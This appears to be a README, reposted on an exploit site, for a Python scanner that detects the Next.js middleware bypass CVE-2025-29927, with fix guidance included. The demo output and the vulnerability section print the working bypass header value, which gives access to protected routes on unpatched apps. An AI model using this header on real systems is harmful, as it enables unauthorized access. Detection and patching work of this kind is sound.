Share
## https://sploitus.com/exploit?id=51277A52-52A0-5266-9473-014D14B18C92
# ๐Ÿ” CVE-2025-29927 - Next.js Middleware Bypass Detector

This Python-based smart scanner helps detect the **CVE-2025-29927** vulnerability in Next.js applications โ€” a critical middleware bypass that allows attackers to skip authentication using a crafted HTTP header.

> ๐Ÿง  The tool identifies not only HTTP redirects but also client-side redirection mechanisms such as `<meta http-equiv="refresh">`, keyword-based login redirects, and silent auth bypasses.

---

## ๐Ÿš€ Features

- โœ… Interactive input (target URL and path)
- โœ… Smart detection of:
  - `x-middleware-subrequest` bypass headers
  - `<meta refresh>` based redirects
  - HTML content with keywords like `login`, `sign in`, `authentication`
- โœ… Color-coded CLI output:
  - ๐ŸŸฉ Green for 2xx responses
  - ๐ŸŸจ Yellow for 3xx
  - ๐ŸŸฅ Red for 4xx/5xx
- โœ… Early exit if bypass is successful
- โœ… Easy to extend and customize

---

## ๐Ÿ“ธ Demo

```
$ python3 CVE-2025-29927.py

๐ŸŒ Enter the target site URL (e.g. http://localhost:3000): http://vulnerable.local
๐Ÿ“ Enter the protected path (e.g. /dashboard): /admin

โ†’ Testing with header: middleware:middleware:middleware:middleware:middleware
   โ†ณ HTTP Status: 200
   โ†ณ Redirect detected: No

โœ… VULNERABLE! Bypass successful with header:
   x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```

---

## ๐Ÿง‘โ€๐Ÿ’ป How to Use

### 1. Clone the repository:

```bash
git clone https://github.com/sagsooz/CVE-2025-29927.git
cd CVE-2025-29927
```

### 2. Install dependencies:

```bash
pip install -r requirements.txt
```

### 3. Run the script:

```bash
python3 CVE-2025-29927.py
```

---

## ๐Ÿ“‚ Project Structure

```
.
โ”œโ”€โ”€ CVE-2025-29927.py   # Main interactive scanner
โ”œโ”€โ”€ requirements.txt            # Python dependencies
โ””โ”€โ”€ README.md                   # This file
```

---

## ๐Ÿ“ฆ requirements.txt

```txt
requests
beautifulsoup4
colorama
```

---

## ๐Ÿ›ก๏ธ How to Fix

If your app is affected, do the following:

1. **Update Next.js** to `v15.2.3` or later (or `14.2.25+` / `13.5.7+`)
2. **Harden middleware routing** and avoid relying solely on middleware for authentication.
3. **Strip x-middleware-subrequest header** at the edge (e.g. Nginx):

```nginx
proxy_set_header x-middleware-subrequest "";
```

---

## โ„น๏ธ About the Vulnerability

CVE-2025-29927 allows attackers to bypass Next.js middleware checks by manipulating the `x-middleware-subrequest` header with crafted values such as:

```
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```

In vulnerable versions, this disables middleware execution completely โ€” allowing direct access to protected routes like `/dashboard`, `/admin`, etc.

---

## ๐Ÿ“ฌ Contact

Maintained by: [@mrzblackhat](https://t.me/mrzblackhat)  
Feel free to contact me on Telegram for suggestions, improvements, or contributions.

---

## ๐Ÿท Tags

`next.js` `CVE-2025-29927` `bugbounty` `middleware bypass` `authentication` `web security` `python security scanner` `ethical hacking`

---

## ๐Ÿ“„ License

This tool is provided for **educational and research purposes only**. Use responsibly.